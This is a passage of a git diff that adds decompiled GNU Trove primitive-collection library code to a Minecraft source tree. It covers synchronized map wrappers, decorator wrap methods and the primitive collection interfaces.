+
+
+
+
+
+  public static TShortShortMap synchronizedMap(TShortShortMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedShortShortMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TShortCharMap synchronizedMap(TShortCharMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedShortCharMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TCharDoubleMap synchronizedMap(TCharDoubleMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedCharDoubleMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static gnu.trove.map.TCharFloatMap synchronizedMap(gnu.trove.map.TCharFloatMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedCharFloatMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static gnu.trove.map.TCharIntMap synchronizedMap(gnu.trove.map.TCharIntMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedCharIntMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TCharLongMap synchronizedMap(TCharLongMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedCharLongMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static gnu.trove.map.TCharByteMap synchronizedMap(gnu.trove.map.TCharByteMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedCharByteMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TCharShortMap synchronizedMap(TCharShortMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedCharShortMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TCharCharMap synchronizedMap(TCharCharMap m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedCharCharMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <V> gnu.trove.map.TDoubleObjectMap<V> synchronizedMap(gnu.trove.map.TDoubleObjectMap<V> m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedDoubleObjectMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <V> TFloatObjectMap<V> synchronizedMap(TFloatObjectMap<V> m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedFloatObjectMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <V> TIntObjectMap<V> synchronizedMap(TIntObjectMap<V> m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedIntObjectMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <V> TLongObjectMap<V> synchronizedMap(TLongObjectMap<V> m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedLongObjectMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <V> TByteObjectMap<V> synchronizedMap(TByteObjectMap<V> m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedByteObjectMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <V> gnu.trove.map.TShortObjectMap<V> synchronizedMap(gnu.trove.map.TShortObjectMap<V> m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedShortObjectMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <V> gnu.trove.map.TCharObjectMap<V> synchronizedMap(gnu.trove.map.TCharObjectMap<V> m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedCharObjectMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K> TObjectDoubleMap<K> synchronizedMap(TObjectDoubleMap<K> m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedObjectDoubleMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K> gnu.trove.map.TObjectFloatMap<K> synchronizedMap(gnu.trove.map.TObjectFloatMap<K> m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedObjectFloatMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K> gnu.trove.map.TObjectIntMap<K> synchronizedMap(gnu.trove.map.TObjectIntMap<K> m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedObjectIntMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K> TObjectLongMap<K> synchronizedMap(TObjectLongMap<K> m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedObjectLongMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K> TObjectByteMap<K> synchronizedMap(TObjectByteMap<K> m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedObjectByteMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K> TObjectShortMap<K> synchronizedMap(TObjectShortMap<K> m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedObjectShortMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K> TObjectCharMap<K> synchronizedMap(TObjectCharMap<K> m)
+  {
+    return new gnu.trove.impl.TSynchronizedCollections.TSynchronizedObjectCharMap(m);
+  }
+}
diff --git a/src/minecraft/gnu/trove/TDecorators.java b/src/minecraft/gnu/trove/TDecorators.java
new file mode 100644
index 0000000..9e179ed
--- /dev/null
+++ b/src/minecraft/gnu/trove/TDecorators.java
@@ -0,0 +1,817 @@
+package gnu.trove;
+
+import gnu.trove.map.TByteByteMap;
+import gnu.trove.map.TByteCharMap;
+import gnu.trove.map.TByteDoubleMap;
+import gnu.trove.map.TByteObjectMap;
+import gnu.trove.map.TCharCharMap;
+import gnu.trove.map.TCharDoubleMap;
+import gnu.trove.map.TCharLongMap;
+import gnu.trove.map.TCharShortMap;
+import gnu.trove.map.TDoubleByteMap;
+import gnu.trove.map.TDoubleCharMap;
+import gnu.trove.map.TDoubleDoubleMap;
+import gnu.trove.map.TDoubleIntMap;
+import gnu.trove.map.TDoubleLongMap;
+import gnu.trove.map.TDoubleShortMap;
+import gnu.trove.map.TFloatDoubleMap;
+import gnu.trove.map.TFloatIntMap;
+import gnu.trove.map.TFloatLongMap;
+import gnu.trove.map.TIntByteMap;
+import gnu.trove.map.TIntCharMap;
+import gnu.trove.map.TIntFloatMap;
+import gnu.trove.map.TIntIntMap;
+import gnu.trove.map.TLongByteMap;
+import gnu.trove.map.TLongCharMap;
+import gnu.trove.map.TLongFloatMap;
+import gnu.trove.map.TLongIntMap;
+import gnu.trove.map.TLongLongMap;
+import gnu.trove.map.TLongObjectMap;
+import gnu.trove.map.TLongShortMap;
+import gnu.trove.map.TObjectByteMap;
+import gnu.trove.map.TObjectCharMap;
+import gnu.trove.map.TObjectLongMap;
+import gnu.trove.map.TObjectShortMap;
+import gnu.trove.map.TShortLongMap;
+import gnu.trove.map.TShortShortMap;
+import gnu.trove.set.TByteSet;
+import gnu.trove.set.TCharSet;
+import gnu.trove.set.TDoubleSet;
+import gnu.trove.set.TFloatSet;
+import gnu.trove.set.TIntSet;
+import gnu.trove.set.TLongSet;
+import gnu.trove.set.TShortSet;
+import java.util.Map;
+import java.util.Set;
+
+public class TDecorators
+{
+  private TDecorators() {}
+  
+  public static Map<Double, Double> wrap(TDoubleDoubleMap map)
+  {
+    return new gnu.trove.decorator.TDoubleDoubleMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Double, Float> wrap(gnu.trove.map.TDoubleFloatMap map)
+  {
+    return new gnu.trove.decorator.TDoubleFloatMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Double, Integer> wrap(TDoubleIntMap map)
+  {
+    return new gnu.trove.decorator.TDoubleIntMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Double, Long> wrap(TDoubleLongMap map)
+  {
+    return new gnu.trove.decorator.TDoubleLongMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Double, Byte> wrap(TDoubleByteMap map)
+  {
+    return new gnu.trove.decorator.TDoubleByteMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Double, Short> wrap(TDoubleShortMap map)
+  {
+    return new gnu.trove.decorator.TDoubleShortMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Double, Character> wrap(TDoubleCharMap map)
+  {
+    return new gnu.trove.decorator.TDoubleCharMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Float, Double> wrap(TFloatDoubleMap map)
+  {
+    return new gnu.trove.decorator.TFloatDoubleMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Float, Float> wrap(gnu.trove.map.TFloatFloatMap map)
+  {
+    return new gnu.trove.decorator.TFloatFloatMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Float, Integer> wrap(TFloatIntMap map)
+  {
+    return new gnu.trove.decorator.TFloatIntMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Float, Long> wrap(TFloatLongMap map)
+  {
+    return new gnu.trove.decorator.TFloatLongMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Float, Byte> wrap(gnu.trove.map.TFloatByteMap map)
+  {
+    return new gnu.trove.decorator.TFloatByteMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Float, Short> wrap(gnu.trove.map.TFloatShortMap map)
+  {
+    return new gnu.trove.decorator.TFloatShortMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Float, Character> wrap(gnu.trove.map.TFloatCharMap map)
+  {
+    return new gnu.trove.decorator.TFloatCharMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Integer, Double> wrap(gnu.trove.map.TIntDoubleMap map)
+  {
+    return new gnu.trove.decorator.TIntDoubleMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Integer, Float> wrap(TIntFloatMap map)
+  {
+    return new gnu.trove.decorator.TIntFloatMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Integer, Integer> wrap(TIntIntMap map)
+  {
+    return new gnu.trove.decorator.TIntIntMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Integer, Long> wrap(gnu.trove.map.TIntLongMap map)
+  {
+    return new gnu.trove.decorator.TIntLongMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Integer, Byte> wrap(TIntByteMap map)
+  {
+    return new gnu.trove.decorator.TIntByteMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Integer, Short> wrap(gnu.trove.map.TIntShortMap map)
+  {
+    return new gnu.trove.decorator.TIntShortMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Integer, Character> wrap(TIntCharMap map)
+  {
+    return new gnu.trove.decorator.TIntCharMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Long, Double> wrap(gnu.trove.map.TLongDoubleMap map)
+  {
+    return new gnu.trove.decorator.TLongDoubleMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Long, Float> wrap(TLongFloatMap map)
+  {
+    return new gnu.trove.decorator.TLongFloatMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Long, Integer> wrap(TLongIntMap map)
+  {
+    return new gnu.trove.decorator.TLongIntMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Long, Long> wrap(TLongLongMap map)
+  {
+    return new gnu.trove.decorator.TLongLongMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Long, Byte> wrap(TLongByteMap map)
+  {
+    return new gnu.trove.decorator.TLongByteMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Long, Short> wrap(TLongShortMap map)
+  {
+    return new gnu.trove.decorator.TLongShortMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Long, Character> wrap(TLongCharMap map)
+  {
+    return new gnu.trove.decorator.TLongCharMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Byte, Double> wrap(TByteDoubleMap map)
+  {
+    return new gnu.trove.decorator.TByteDoubleMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Byte, Float> wrap(gnu.trove.map.TByteFloatMap map)
+  {
+    return new gnu.trove.decorator.TByteFloatMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Byte, Integer> wrap(gnu.trove.map.TByteIntMap map)
+  {
+    return new gnu.trove.decorator.TByteIntMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Byte, Long> wrap(gnu.trove.map.TByteLongMap map)
+  {
+    return new gnu.trove.decorator.TByteLongMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Byte, Byte> wrap(TByteByteMap map)
+  {
+    return new gnu.trove.decorator.TByteByteMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Byte, Short> wrap(gnu.trove.map.TByteShortMap map)
+  {
+    return new gnu.trove.decorator.TByteShortMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Byte, Character> wrap(TByteCharMap map)
+  {
+    return new gnu.trove.decorator.TByteCharMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Short, Double> wrap(gnu.trove.map.TShortDoubleMap map)
+  {
+    return new gnu.trove.decorator.TShortDoubleMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Short, Float> wrap(gnu.trove.map.TShortFloatMap map)
+  {
+    return new gnu.trove.decorator.TShortFloatMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Short, Integer> wrap(gnu.trove.map.TShortIntMap map)
+  {
+    return new gnu.trove.decorator.TShortIntMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Short, Long> wrap(TShortLongMap map)
+  {
+    return new gnu.trove.decorator.TShortLongMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Short, Byte> wrap(gnu.trove.map.TShortByteMap map)
+  {
+    return new gnu.trove.decorator.TShortByteMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Short, Short> wrap(TShortShortMap map)
+  {
+    return new gnu.trove.decorator.TShortShortMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Short, Character> wrap(gnu.trove.map.TShortCharMap map)
+  {
+    return new gnu.trove.decorator.TShortCharMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Character, Double> wrap(TCharDoubleMap map)
+  {
+    return new gnu.trove.decorator.TCharDoubleMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Character, Float> wrap(gnu.trove.map.TCharFloatMap map)
+  {
+    return new gnu.trove.decorator.TCharFloatMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Character, Integer> wrap(gnu.trove.map.TCharIntMap map)
+  {
+    return new gnu.trove.decorator.TCharIntMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Character, Long> wrap(TCharLongMap map)
+  {
+    return new gnu.trove.decorator.TCharLongMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Character, Byte> wrap(gnu.trove.map.TCharByteMap map)
+  {
+    return new gnu.trove.decorator.TCharByteMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Character, Short> wrap(TCharShortMap map)
+  {
+    return new gnu.trove.decorator.TCharShortMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static Map<Character, Character> wrap(TCharCharMap map)
+  {
+    return new gnu.trove.decorator.TCharCharMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+
+  public static <T> Map<T, Double> wrap(gnu.trove.map.TObjectDoubleMap<T> map)
+  {
+    return new gnu.trove.decorator.TObjectDoubleMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static <T> Map<T, Float> wrap(gnu.trove.map.TObjectFloatMap<T> map)
+  {
+    return new gnu.trove.decorator.TObjectFloatMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static <T> Map<T, Integer> wrap(gnu.trove.map.TObjectIntMap<T> map)
+  {
+    return new gnu.trove.decorator.TObjectIntMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static <T> Map<T, Long> wrap(TObjectLongMap<T> map)
+  {
+    return new gnu.trove.decorator.TObjectLongMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static <T> Map<T, Byte> wrap(TObjectByteMap<T> map)
+  {
+    return new gnu.trove.decorator.TObjectByteMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static <T> Map<T, Short> wrap(TObjectShortMap<T> map)
+  {
+    return new gnu.trove.decorator.TObjectShortMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static <T> Map<T, Character> wrap(TObjectCharMap<T> map)
+  {
+    return new gnu.trove.decorator.TObjectCharMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+
+  public static <T> Map<Double, T> wrap(gnu.trove.map.TDoubleObjectMap<T> map)
+  {
+    return new gnu.trove.decorator.TDoubleObjectMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static <T> Map<Float, T> wrap(gnu.trove.map.TFloatObjectMap<T> map)
+  {
+    return new gnu.trove.decorator.TFloatObjectMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static <T> Map<Integer, T> wrap(gnu.trove.map.TIntObjectMap<T> map)
+  {
+    return new gnu.trove.decorator.TIntObjectMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static <T> Map<Long, T> wrap(TLongObjectMap<T> map)
+  {
+    return new gnu.trove.decorator.TLongObjectMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static <T> Map<Byte, T> wrap(TByteObjectMap<T> map)
+  {
+    return new gnu.trove.decorator.TByteObjectMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static <T> Map<Short, T> wrap(gnu.trove.map.TShortObjectMap<T> map)
+  {
+    return new gnu.trove.decorator.TShortObjectMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+  public static <T> Map<Character, T> wrap(gnu.trove.map.TCharObjectMap<T> map)
+  {
+    return new gnu.trove.decorator.TCharObjectMapDecorator(map);
+  }
+  
+
+
+
+
+
+
+
+  public static Set<Double> wrap(TDoubleSet set)
+  {
+    return new gnu.trove.decorator.TDoubleSetDecorator(set);
+  }
+  
+
+
+
+
+
+
+  public static Set<Float> wrap(TFloatSet set)
+  {
+    return new gnu.trove.decorator.TFloatSetDecorator(set);
+  }
+  
+
+
+
+
+
+
+  public static Set<Integer> wrap(TIntSet set)
+  {
+    return new gnu.trove.decorator.TIntSetDecorator(set);
+  }
+  
+
+
+
+
+
+
+  public static Set<Long> wrap(TLongSet set)
+  {
+    return new gnu.trove.decorator.TLongSetDecorator(set);
+  }
+  
+
+
+
+
+
+
+  public static Set<Byte> wrap(TByteSet set)
+  {
+    return new gnu.trove.decorator.TByteSetDecorator(set);
+  }
+  
+
+
+
+
+
+
+  public static Set<Short> wrap(TShortSet set)
+  {
+    return new gnu.trove.decorator.TShortSetDecorator(set);
+  }
+  
+
+
+
+
+
+
+  public static Set<Character> wrap(TCharSet set)
+  {
+    return new gnu.trove.decorator.TCharSetDecorator(set);
+  }
+}
diff --git a/src/minecraft/gnu/trove/TDoubleCollection.java b/src/minecraft/gnu/trove/TDoubleCollection.java
new file mode 100644
index 0000000..b3af202
--- /dev/null
+++ b/src/minecraft/gnu/trove/TDoubleCollection.java
@@ -0,0 +1,60 @@
+package gnu.trove;
+
+import gnu.trove.iterator.TDoubleIterator;
+import gnu.trove.procedure.TDoubleProcedure;
+import java.io.Serializable;
+import java.util.Collection;
+
+public abstract interface TDoubleCollection
+  extends Serializable
+{
+  public abstract double getNoEntryValue();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean contains(double paramDouble);
+  
+  public abstract TDoubleIterator iterator();
+  
+  public abstract double[] toArray();
+  
+  public abstract double[] toArray(double[] paramArrayOfDouble);
+  
+  public abstract boolean add(double paramDouble);
+  
+  public abstract boolean remove(double paramDouble);
+  
+  public abstract boolean containsAll(Collection<?> paramCollection);
+  
+  public abstract boolean containsAll(TDoubleCollection paramTDoubleCollection);
+  
+  public abstract boolean containsAll(double[] paramArrayOfDouble);
+  
+  public abstract boolean addAll(Collection<? extends Double> paramCollection);
+  
+  public abstract boolean addAll(TDoubleCollection paramTDoubleCollection);
+  
+  public abstract boolean addAll(double[] paramArrayOfDouble);
+  
+  public abstract boolean retainAll(Collection<?> paramCollection);
+  
+  public abstract boolean retainAll(TDoubleCollection paramTDoubleCollection);
+  
+  public abstract boolean retainAll(double[] paramArrayOfDouble);
+  
+  public abstract boolean removeAll(Collection<?> paramCollection);
+  
+  public abstract boolean removeAll(TDoubleCollection paramTDoubleCollection);
+  
+  public abstract boolean removeAll(double[] paramArrayOfDouble);
+  
+  public abstract void clear();
+  
+  public abstract boolean forEach(TDoubleProcedure paramTDoubleProcedure);
+  
+  public abstract boolean equals(Object paramObject);
+  
+  public abstract int hashCode();
+}
diff --git a/src/minecraft/gnu/trove/TFloatCollection.java b/src/minecraft/gnu/trove/TFloatCollection.java
new file mode 100644
index 0000000..ccfcf6b
--- /dev/null
+++ b/src/minecraft/gnu/trove/TFloatCollection.java
@@ -0,0 +1,60 @@
+package gnu.trove;
+
+import gnu.trove.iterator.TFloatIterator;
+import gnu.trove.procedure.TFloatProcedure;
+import java.io.Serializable;
+import java.util.Collection;
+
+public abstract interface TFloatCollection
+  extends Serializable
+{
+  public abstract float getNoEntryValue();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean contains(float paramFloat);
+  
+  public abstract TFloatIterator iterator();
+  
+  public abstract float[] toArray();
+  
+  public abstract float[] toArray(float[] paramArrayOfFloat);
+  
+  public abstract boolean add(float paramFloat);
+  
+  public abstract boolean remove(float paramFloat);
+  
+  public abstract boolean containsAll(Collection<?> paramCollection);
+  
+  public abstract boolean containsAll(TFloatCollection paramTFloatCollection);
+  
+  public abstract boolean containsAll(float[] paramArrayOfFloat);
+  
+  public abstract boolean addAll(Collection<? extends Float> paramCollection);
+  
+  public abstract boolean addAll(TFloatCollection paramTFloatCollection);
+  
+  public abstract boolean addAll(float[] paramArrayOfFloat);
+  
+  public abstract boolean retainAll(Collection<?> paramCollection);
+  
+  public abstract boolean retainAll(TFloatCollection paramTFloatCollection);
+  
+  public abstract boolean retainAll(float[] paramArrayOfFloat);
+  
+  public abstract boolean removeAll(Collection<?> paramCollection);
+  
+  public abstract boolean removeAll(TFloatCollection paramTFloatCollection);
+  
+  public abstract boolean removeAll(float[] paramArrayOfFloat);
+  
+  public abstract void clear();
+  
+  public abstract boolean forEach(TFloatProcedure paramTFloatProcedure);
+  
+  public abstract boolean equals(Object paramObject);
+  
+  public abstract int hashCode();
+}
diff --git a/src/minecraft/gnu/trove/TIntCollection.java b/src/minecraft/gnu/trove/TIntCollection.java
new file mode 100644
index 0000000..ba83448
--- /dev/null
+++ b/src/minecraft/gnu/trove/TIntCollection.java
@@ -0,0 +1,60 @@
+package gnu.trove;
+
+import gnu.trove.iterator.TIntIterator;
+import gnu.trove.procedure.TIntProcedure;
+import java.io.Serializable;
+import java.util.Collection;
+
+public abstract interface TIntCollection
+  extends Serializable
+{
+  public abstract int getNoEntryValue();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean contains(int paramInt);
+  
+  public abstract TIntIterator iterator();
+  
+  public abstract int[] toArray();
+  
+  public abstract int[] toArray(int[] paramArrayOfInt);
+  
+  public abstract boolean add(int paramInt);
+  
+  public abstract boolean remove(int paramInt);
+  
+  public abstract boolean containsAll(Collection<?> paramCollection);
+  
+  public abstract boolean containsAll(TIntCollection paramTIntCollection);
+  
+  public abstract boolean containsAll(int[] paramArrayOfInt);
+  
+  public abstract boolean addAll(Collection<? extends Integer> paramCollection);
+  
+  public abstract boolean addAll(TIntCollection paramTIntCollection);
+  
+  public abstract boolean addAll(int[] paramArrayOfInt);
+  
+  public abstract boolean retainAll(Collection<?> paramCollection);
+  
+  public abstract boolean retainAll(TIntCollection paramTIntCollection);
+  
+  public abstract boolean retainAll(int[] paramArrayOfInt);
+  
+  public abstract boolean removeAll(Collection<?> paramCollection);
+  
+  public abstract boolean removeAll(TIntCollection paramTIntCollection);
+  
+  public abstract boolean removeAll(int[] paramArrayOfInt);
+  
+  public abstract void clear();
+  
+  public abstract boolean forEach(TIntProcedure paramTIntProcedure);
+  
+  public abstract boolean equals(Object paramObject);
+  
+  public abstract int hashCode();
+}
diff --git a/src/minecraft/gnu/trove/TLongCollection.java b/src/minecraft/gnu/trove/TLongCollection.java
new file mode 100644
index 0000000..793476d
--- /dev/null
+++ b/src/minecraft/gnu/trove/TLongCollection.java
@@ -0,0 +1,60 @@
+package gnu.trove;
+
+import gnu.trove.iterator.TLongIterator;
+import gnu.trove.procedure.TLongProcedure;
+import java.io.Serializable;
+import java.util.Collection;
+
+public abstract interface TLongCollection
+  extends Serializable
+{
+  public abstract long getNoEntryValue();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean contains(long paramLong);
+  
+  public abstract TLongIterator iterator();
+  
+  public abstract long[] toArray();
+  
+  public abstract long[] toArray(long[] paramArrayOfLong);
+  
+  public abstract boolean add(long paramLong);
+  
+  public abstract boolean remove(long paramLong);
+  
+  public abstract boolean containsAll(Collection<?> paramCollection);
+  
+  public abstract boolean containsAll(TLongCollection paramTLongCollection);
+  
+  public abstract boolean containsAll(long[] paramArrayOfLong);
+  
+  public abstract boolean addAll(Collection<? extends Long> paramCollection);
+  
+  public abstract boolean addAll(TLongCollection paramTLongCollection);
+  
+  public abstract boolean addAll(long[] paramArrayOfLong);
+  
+  public abstract boolean retainAll(Collection<?> paramCollection);
+  
+  public abstract boolean retainAll(TLongCollection paramTLongCollection);
+  
+  public abstract boolean retainAll(long[] paramArrayOfLong);
+  
+  public abstract boolean removeAll(Collection<?> paramCollection);
+  
+  public abstract boolean removeAll(TLongCollection paramTLongCollection);
+  
+  public abstract boolean removeAll(long[] paramArrayOfLong);
+  
+  public abstract void clear();
+  
+  public abstract boolean forEach(TLongProcedure paramTLongProcedure);
+  
+  public abstract boolean equals(Object paramObject);
+  
+  public abstract int hashCode();
+}
diff --git a/src/minecraft/gnu/trove/TShortCollection.java b/src/minecraft/gnu/trove/TShortCollection.java
new file mode 100644
index 0000000..b3f1318
--- /dev/null
+++ b/src/minecraft/gnu/trove/TShortCollection.java
@@ -0,0 +1,60 @@
+package gnu.trove;
+
+import gnu.trove.iterator.TShortIterator;
+import gnu.trove.procedure.TShortProcedure;
+import java.io.Serializable;
+import java.util.Collection;
+
+public abstract interface TShortCollection
+  extends Serializable
+{
+  public abstract short getNoEntryValue();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean contains(short paramShort);
+  
+  public abstract TShortIterator iterator();
+  
+  public abstract short[] toArray();
+  
+  public abstract short[] toArray(short[] paramArrayOfShort);
+  
+  public abstract boolean add(short paramShort);
+  
+  public abstract boolean remove(short paramShort);
+  
+  public abstract boolean containsAll(Collection<?> paramCollection);
+  
+  public abstract boolean containsAll(TShortCollection paramTShortCollection);
+  
+  public abstract boolean containsAll(short[] paramArrayOfShort);
+  
+  public abstract boolean addAll(Collection<? extends Short> paramCollection);
+  
+  public abstract boolean addAll(TShortCollection paramTShortCollection);
+  
+  public abstract boolean addAll(short[] paramArrayOfShort);
+  
+  public abstract boolean retainAll(Collection<?> paramCollection);
+  
+  public abstract boolean retainAll(TShortCollection paramTShortCollection);
+  
+  public abstract boolean retainAll(short[] paramArrayOfShort);
+  
+  public abstract boolean removeAll(Collection<?> paramCollection);
+  
+  public abstract boolean removeAll(TShortCollection paramTShortCollection);
+  
+  public abstract boolean removeAll(short[] paramArrayOfShort);
+  
+  public abstract void clear();
+  
+  public abstract boolean forEach(TShortProcedure paramTShortProcedure);
+  
+  public abstract boolean equals(Object paramObject);
+  
+  public abstract int hashCode();
+}
diff --git a/src/minecraft/gnu/trove/decorator/TByteByteMapDecorator.java b/src/minecraft/gnu/trove/decorator/TByteByteMapDecorator.java
new file mode 100644
index 0000000..fc1d205
